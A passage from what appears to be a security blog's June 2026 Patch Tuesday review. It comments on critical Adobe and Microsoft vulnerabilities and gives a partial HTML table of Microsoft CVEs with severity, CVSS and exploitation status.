  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
